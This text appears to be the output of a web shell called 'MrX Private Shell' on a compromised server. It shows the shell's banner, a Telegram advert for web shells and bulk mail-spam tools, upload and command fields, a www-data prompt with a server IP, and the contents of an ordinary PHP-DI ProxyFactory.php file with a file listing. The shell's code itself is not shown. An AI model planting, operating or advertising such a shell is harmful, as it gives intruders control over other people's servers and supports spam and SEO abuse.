__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php

declare(strict_types=1);

namespace DI\Proxy;

use ProxyManager\Configuration;
use ProxyManager\Factory\LazyLoadingValueHolderFactory;
use ProxyManager\FileLocator\FileLocator;
use ProxyManager\GeneratorStrategy\EvaluatingGeneratorStrategy;
use ProxyManager\GeneratorStrategy\FileWriterGeneratorStrategy;
use ProxyManager\Proxy\LazyLoadingInterface;

/**
 * Creates proxy classes.
 *
 * Wraps Ocramius/ProxyManager LazyLoadingValueHolderFactory.
 *
 * @see \ProxyManager\Factory\LazyLoadingValueHolderFactory
 *
 * @since  5.0
 * @author Matthieu Napoli <matthieu@mnapoli.fr>
 */
class ProxyFactory
{
    private ?LazyLoadingValueHolderFactory $proxyManager = null;

    /**
     * @param string|null $proxyDirectory If set, write the proxies to disk in this directory to improve performances.
     */
    public function __construct(
        private ?string $proxyDirectory = null,
    ) {
    }

    /**
     * Creates a new lazy proxy instance of the given class with
     * the given initializer.
     *
     * @param class-string $className name of the class to be proxied
     * @param \Closure $initializer initializer to be passed to the proxy
     */
    public function createProxy(string $className, \Closure $initializer) : LazyLoadingInterface
    {
        return $this->proxyManager()->createProxy($className, $initializer);
    }

    /**
     * Generates and writes the proxy class to file.
     *
     * @param class-string $className name of the class to be proxied
     */
    public function generateProxyClass(string $className) : void
    {
        // If proxy classes a written to file then we pre-generate the class
        // If they are not written to file then there is no point to do this
        if ($this->proxyDirectory) {
            $this->createProxy($className, function () {});
        }
    }

    private function proxyManager() : LazyLoadingValueHolderFactory
    {
        if ($this->proxyManager === null) {
            if (! class_exists(Configuration::class)) {
                throw new \RuntimeException('The ocramius/proxy-manager library is not installed. Lazy injection requires that library to be installed with Composer in order to work. Run "composer require ocramius/proxy-manager:~2.0".');
            }

            $config = new Configuration();

            if ($this->proxyDirectory) {
                $config->setProxiesTargetDir($this->proxyDirectory);
                $config->setGeneratorStrategy(new FileWriterGeneratorStrategy(new FileLocator($this->proxyDirectory)));
                // @phpstan-ignore-next-line
                spl_autoload_register($config->getProxyAutoloader());
            } else {
                $config->setGeneratorStrategy(new EvaluatingGeneratorStrategy());
            }

            $this->proxyManager = new LazyLoadingValueHolderFactory($config);
        }

        return $this->proxyManager;
    }
}

Filemanager

Name Type Size Permission Actions
ProxyFactory.php File 2.84 KB 0777
Filemanager